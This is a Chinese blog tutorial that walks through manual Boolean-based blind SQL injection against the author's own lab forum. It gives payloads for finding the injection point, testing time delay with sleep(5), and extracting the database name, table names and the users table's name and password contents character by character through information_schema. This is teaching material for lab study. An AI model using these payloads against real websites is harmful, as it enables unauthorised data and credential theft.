【SQL注入04】布尔盲注实例手操

已于 2022-07-01 04:41:19 修改
阅读量3.2k 收藏 3
点赞数 4
分类专栏： # 筑基07：WEB漏洞原理 文章标签： sql web安全 安全 布尔盲注
于 2022-02-19 01:53:22 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Fighting_hawk/article/details/123006730
版权

目录

1 概述

  1. 当改变浏览器带入给后台SQL的参数后，浏览器没有显示对应内容也没有显示报错信息时，无法使用union联合查询注入与报错注入，这时候可以试试看能否使用布尔注入。
  2. 布尔盲注：一般情况下，当带入参数为真和假时，页面会有不同的反映，比如有无显示也是一种不同，布尔盲注就是根据这种不同来反推我们输入的条件是真还是假。

2 实验平台

  1. 实验靶场——虚拟机：本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站，win2008及phpstudy的安装过程可以参考《win2008R2SP1+WAMP环境部署》，网站的搭建过程可以参考《综合实验：一个简单丑陋的论坛网站》
  2. 注入工具——真实机：本实验利用火狐浏览器来实现union注入，为方便注入过程的编码，建议安装一个扩展插件harkbar，安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用，就安装了HackBar Quantum来代替。安装后出现下图左侧的东西。
    在这里插入图片描述

3 实验步骤

3.1 判断是否存在注入点及注入的类型

在该阶段主要是尝试不同的输入参数，根据网页反馈信息来判断是否存在注入点以及注入类型，如是否是字符型还是数值型，是否存在延迟注入等。

  1. 用浏览器访问我们的留言论坛，并点击第一条留言进入测试界面。
    在这里插入图片描述
  2. 将参数修改为?id=2，并点击run，看到页面变化如下，弹出第二条留言内容，由此可见后台是根据id的不同来反馈不同信息，而id是访问者可控的，是一个注入点。
    在这里插入图片描述
  3. 修改参数为?id=1 and 1=1，返回页面与原页面一致 。通过该参数我们可以分析得到该注入数据类型为数值型，原因如下：
    (1) 猜测为数值型，则后台SQL语句为 select * from table where id=1 and 1=1，where语句判断条件为真且id=1，语句正常执行。
    (2) 猜测为字符型，则后台SQL语句为 select * from table where id=‘1 and 1=1’，where语句将找不到id为‘1 and 1=1’的参数，语句执行失败。
    (3) 更多数值型和字符型的判断方法请查看文章《反证法：判断注入类型是数值型还是字符型》
    在这里插入图片描述
  4. 修改参数为 ?id=1 and 1=2 ，由于 and 1=2 为假 ， 所以页面应返回与 id=1 不同的结果，如下图所示。也就是说是否能正常回显内容与语句的真假性有关。
    在这里插入图片描述
  5. 为了判断注入是数字型或是字符型，继续修改参数？id=1'，就是多了一个单引号，并点击run，看到页面如下。除了标题没有任何回馈信息，可以判断的是该语句带入到SQL中执行时，无法正常执行回显内容，但没有提示错误信息不知道能不能就判断是数字型的注入。
    在这里插入图片描述
  6. 为判断参数是否存在延迟注入，按F12打开调试面板，在左侧继续修改参数为?id=1 and sleep(5)，并点击run。可以看到sleep语句对网页的响应起到作用，也就是意味着存在延迟注入的可能。
    在这里插入图片描述
  7. 结论：
    1. 因为id参数是用户可控的，会随请求带入到数据库中执行并回显相应内容，是一个注入点。虽然可以用union注入，但是在本实验中我们演示如何使用布尔盲注。
    2. 根据第3步说明参数为数值型。
    3. 当参数条件为假时，无法正常回显，说明网页存在布尔类型状态。
    4. sleep语句对网页的响应起到作用，也就是意味着存在延迟注入。
    5. 从联合注入到盲注以及延迟注入，其时间人力成本逐步增大，尽可能选择低成本方式进行注入。

3.2 测试数据库名长度

  1. 修改参数为?id=1 and length(database())<10，页面正常显示，说明数据库名长度小于10为真。
    在这里插入图片描述
  2. 继续修改参数为?id=1 and length(database())<5，页面没有显示内容，说明数据库名长度小于5为假，也就是说数据库名长度为5到9，包括5和9。
    在这里插入图片描述
  3. 继续修改参数为?id=1 and length(database())<7，页面没有显示内容，说明数据库名长度小于7为假，也就是说数据库名长度为7、8或9。
    在这里插入图片描述
  4. 继续修改参数为?id=1 and length(database())<8，页面正常显示，结合前几步测试结果，说明数据库名长度等于7。在这里插入图片描述

3.3 逐个测试数据库名字符

  1. 可以将字母特殊符号和数字等逐个带入到参数中去判断，但是这些效率比较低，我们可以将字符转换为ASCII编码，利用数值能采用大小于号的判断方法，可以一次判断一大半，效率显著提高。ASCII公有178个字符，详细表单请查看《ASCII百科》
  2. 这里需要用一个函数来获取数据库名的某一个字符，在不同数据库中方法不一致，常见的有：
    1. MySQL：substr(str,pos,len), substring(str,pos,len)。
    2. Oracle：substr(str,pos,len)。
    3. SQL Server：substring(str,pos,len)。
    4. 其中pos=1时表示的是字符串str的第1个字符。
  3. 修改参数为?id=1 and ascii(substr(database(),1,1))>89，页面正常显示，表示第一个字符ASCII码大于89。
    在这里插入图片描述
  4. 取89与178的中间数134进行判断，修改参数为?id=1 and ascii(substr(database(),1,1))>134，页面错误显示，表示第一个字符ASCII码为[90,134]间的整数。
    在这里插入图片描述
  5. 取90与134的中间数112进行判断，修改参数为?id=1 and ascii(substr(database(),1,1))>112，页面错误显示，表示第一个字符ASCII码为[90,112]间的整数。
    在这里插入图片描述
  6. 取90与112的中间数101进行判断，修改参数为?id=1 and ascii(substr(database(),1,1))>101，页面正常显示，表示第一个字符ASCII码为[102,112]间的整数。
    在这里插入图片描述
  7. 取102与112的中间数107进行判断，修改参数为?id=1 and ascii(substr(database(),1,1))>107，页面正常显示，表示第一个字符ASCII码为[108,112]间的整数。
    在这里插入图片描述
  8. 取108与112的中间数110进行判断，修改参数为?id=1 and ascii(substr(database(),1,1))>110，页面内容没有显示，表示第一个字符ASCII码为[108,109]间的整数，即是108或109。
    在这里插入图片描述
  9. 修改参数为?id=1 and ascii(substr(database(),1,1))=109，页面正常显示，说明第一个字符的ASCII码是109，查表可得该字符为m。
    在这里插入图片描述
  10. 按同样方法可以测试出其他6位字符，得到数据库名为my_test。
  11. 思路推广：可以无需先测试字符串长度，直接逐个分析每个字符串的ASCII码，先判断其是等于0，如果等于0则说明该位为空字符（空字符不是空格），字符串结束。

3.4 测试该数据库中所有表名

  1. 思路：先测出该数据库下有几张表，再测试表名的每个字符。
  2. 先测试my_test数据库中有多少个表。修改参数为?id=1 and (select count(table_name) from information_schema.tables where table_schema = 'my_test')<5，页面正常显示，逐步调整参数，最后判断表数量有2个。
    在这里插入图片描述
  3. 直接逐个字符分析，输入参数?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),1,1))=0，页面显示异常，说明该位置字符串非空。
    在这里插入图片描述
  4. 当某个表格连续两个字符均为空时，结束该表格名的测试。经过多次测试，输入以下命令均为真，可得两个表名依次为messages和users。
/*第一个表名*/
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),1,1))=109		//m
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),2,1))=101		//e
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),3,1))=115		//s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),4,1))=115		//s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),5,1))=97			//a
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),6,1))=103		//g
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),7,1))=101		//e
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),8,1))=115		//s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),9,1))=0			//空字符
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),10,1))=0			//空字符
/*第二个表名*/
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),1,1))=117		//u
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),2,1))=115		//s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),3,1))=101		//e
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),4,1))=114		//r
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),5,1))=115		//s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),6,1))=0			//空字符
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),7,1))=0			//空字符

3.5 测试users表所含字段名

  1. 先测试users表中有多少个字符段。经过多次测试，修改参数为?id=1 and (select count(column_name) from information_schema.columns where table_name = 'users')=5，页面正常显示，说明该表有5个字段。
  2. 按类似测试表名的方式，可以测试出所有字段名依次为id、name、password、photo、signature。

3.6 测试name字段和password字段所在字段内容

  1. 先测试name字段还有多少内容，经过多次测试，修改参数为?id=1 and (select count(name) from users)=3，页面正常显示，说明name字段有3个内容。同理password字段有3个内容。
  2. 与表名和字段名同理，可测试出name和password字段所有内容。

4 总结

  1. 理解布尔注入的判断原理；
  2. 掌握布尔盲注的方法。
Fighting_hawk
关注
专栏目录
《网络安全自学教程》- SQL注入之布尔盲注原理+步骤+实战操作
wangyuxiang946的博客
05-13 3862
这篇文章为大家解析布尔盲注实现原理，结合实战案例讲解布尔盲注使用步骤
sqlserver数据库布尔盲注_SQL注入之基于布尔的盲注详解
weixin_30623181的博客
12-24 1274
基于布尔的盲注Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。由于本次是布尔注入，手注无法完整地进行脱裤。所以在本节需要编写大量的代码来帮助我们进行SQL注入，得到数据。所以在这章里面会有很多的Python代码。本次的示例就是Less-8。通过进行下面的语句的注入测试http://localhost...
【SQL注入漏洞-04】布尔盲注靶场实战
cc
02-03 6637
当我们改变前端页面传输给后台sql参数时，页面没有显示相应内容也没有显示报错信息时，不能使用联合查询注入和报错注入，这时我们可以考虑是否为基于布尔的盲注。 利用页面返回的布尔类型状态，正常或者不正常； 我们输入的语句让页面呈现出两种状态，相当于true和false，根据这两种状态可以判断我们输入的语句是否查询成功。布尔盲注就是根据这两种状态，来反推我们输入的条件是真还是假。以sqli-labs-masterless-8关为例
SQL注入-布尔型盲注实例
OneOneZzzzzz
09-19 555
SQL注入-布尔盲注实例 布尔型盲注的手工成本很大，非常花费时间，建议写脚本来运行，整个过程属于猜解，判断数据库的名称长度，然后猜解第一位字符，第二位… 表名和字段和内容也都是相同的方式进行猜解，sqlmap工具的盲注实际上也是这种原理，只不过它是一个现成的工具了 首先需要了解到数据库的几个函数 Length()：统计字符串的长度 mid(database(),1,1)字符串截取，从第一个字符开始截取，截取一个 ord() 字符转化成十进制数 布尔注入是根据页面的正确和不正确状态来判断猜解是真是假
sql注入之布尔booler注入
最新发布
m0_52484587的博客
07-09 906
id=1' and substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a'--+ id username password 等。id=1' and substr(database(),1,1)='a'--+ 逐字判断数据库名为 test，test 数据库名。3.id=1 and 1=2 结果异常。
SQL注入——布尔盲注
heyingcheng的博客
03-07 727
当猜测是第一个字母的ascii码是115，页面显示为真，再查表，得出对应字母。后续的操作是依次猜解，陆续得出数据。布尔盲注：Web页面只返回True真，False假两种类型，利用页面的返回不同，逐个猜解数据。页面没有报错回显，不知道数据库具体返回值的情况下，对数据库中的内容进行猜解，实行SQL注入。对方既没有回显位又没有报错，如果页面有真假值切换，我们就可以使用布尔盲注。当我们猜解数据库名称的第一个字母的ascii是120，页面显示false。盲注分类：布尔盲注，时间盲注，报错盲注。
SQL注入布尔盲注
weixin_43765321的博客
03-03 1024
1. 盲注 布尔型盲注 特点：页面存在异常，但是既无回显也无报错信息 利用：只能通过正确与错误两种状态来判断payload是否正确 没有显示位，也没有MySQL_error()函数 仅有的两段输出信息，如下图所示： 2. 布尔 布尔运算是数字符号化的逻辑推演法，包括联合、相交、相减。在图形处理操作中引入了这种逻辑运算方法以使简单的基本图形组合产生新的形体，并由二维布尔运算发展到三维图形的布尔运算。由于布尔在符号逻辑运算中的特殊贡献，很多计算机语言中将逻辑运算称为布尔运算，将其结果称为布尔值。 3. 布尔
SQL注入-布尔盲注
weixin_45095113的博客
03-12 777
布尔盲注
SQL注入之基于布尔的盲注详解
09-10
布尔型SQL注入是一种特殊的SQL注入方式，它发生在服务器对用户输入的数据进行响应时，并不会返回完整的数据库信息，而是仅返回“真”（True）或“假”（False）的反馈。这种方式使得攻击者需要根据系统对正确或错误...
sqlserver数据库布尔盲注_SQL注入实战之盲注篇（布尔、时间盲注）
weixin_32179749的博客
01-14 995
首先还是写一下核心的语句吧。information_schemaschemata(schema_name)tables(table_schema,table_name)columns(table_schema,table_name,column_name)select schema_name from information_schema.schemata;select table_name fr...
sql注入之布尔盲注、延时盲注以及原理
maluxiao123的博客
03-30 1254
之前已经简单介绍了sql注入的基本原理，接下来会按照sql注入的各种类型一一进行梳理，sql注入的常见主要分为回显注入、报错注入、bool盲注、延时注入、堆叠注入、二次注入、宽字节注入、http头注入、DNS LOAD注入。 1.布尔盲注 我们知道页面有回显可以确定回显位时可以进行回显注入，而没有回显的话，有sql报错页面可以使用报错注入，而一般设计完善的网站是会将sql报错的内容给屏蔽掉的。但是我们能判断页面是报错了，就算页面没有报错内容我们同样是有办法的，这时候我们可以使用盲注的方式来进行注入。 比如
【SQL注入-布尔盲注】
acepanhuan的博客
02-10 1724
学习SQL注入方法之盲注
【SQL注入-05】布尔盲注案例
m0_64378913的博客
04-26 1788
目录1 概述2 操作环境3 操作具体步骤3.1 判断是否存在注入点及注入的类型3.2 测试数据库库名长度3.3 逐个测试数据库库名的字符3.4 测试该数据库中所有表名3.5 测试users表中的所有字段名3.6 测试敏感字段的字段内容4 总结参考文章 1 概述 当改变浏览器传给后台SQL的参数后，浏览器没有显示对应内容也没有显示报错信息时，无法使用union联合查询注入与报错注入，这时候可以试试看能否使用布尔注入。具体参考《【SQL注入-02】SQL注入点的简单判断》。 布尔盲注：一般情况下，当带入参数为真
SQL注入原理及实践(一)–SQL注入之布尔型盲注入
dulirongdudu的博客
08-02 2158
当不知道数据库返回值的情况下时【无回显】，输入1’and‘1’='1和1’and‘1’='2显示不一样，仅返回正确、或者错误的页面时，存在布尔型盲注入。①if（）if（条件，结果1，结果2）如果条件成立，则输出结果1，否则输出结果2。if(SUBSTRING(参数1，参数2，参数3),结果1.结果2）②字符串截取函数SUBSTRING(参数1，参数2，参数3)当假设长度为4时，返回正确的界面，因此数据库名为4位字符串。1’and‘1’='1为真返回正确的界面。.....................
sql注入布尔盲注流程
06-28
SQL注入布尔盲注是一种利用SQL注入技术来检测查询结果是否满足某个条件的攻击方法，它通常在应用程序中用于验证用户输入时使用。以下是SQL注入布尔盲注的基本流程： 1. **识别可注入点**：攻击者首先尝试找出页面上可以接收用户输入的地方，如表单、URL参数等，这些地方可能存在SQL查询。 2. **构造基础查询**：创建一个基本的查询语句，通常是检测一个特定值（例如用户是否存在）的存在，通常是一个简单的`SELECT * FROM table WHERE column = 'value'`。 3. **提交测试数据**：在查询中替换'value'为潜在的恶意输入，例如`'1'`或`'1 OR 1=1'`。'1'会返回所有结果，而`'1 OR 1=1'`在大多数情况下会返回所有数据，因为布尔条件为真。 4. **观察响应**：根据服务器返回的结果，判断原始查询条件是否满足。如果服务器返回预期的结果（如所有数据），则说明条件成立；反之，如果返回空结果或异常，则条件不成立。 5. **迭代调整**：根据响应调整恶意输入，例如尝试否定条件（如`'1 OR 1=0'`），直到找到正确的布尔表达式。 6. **解析结果**：利用布尔表达式的真假来推断数据库中的敏感信息，例如是否存在特定记录、字段值等。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值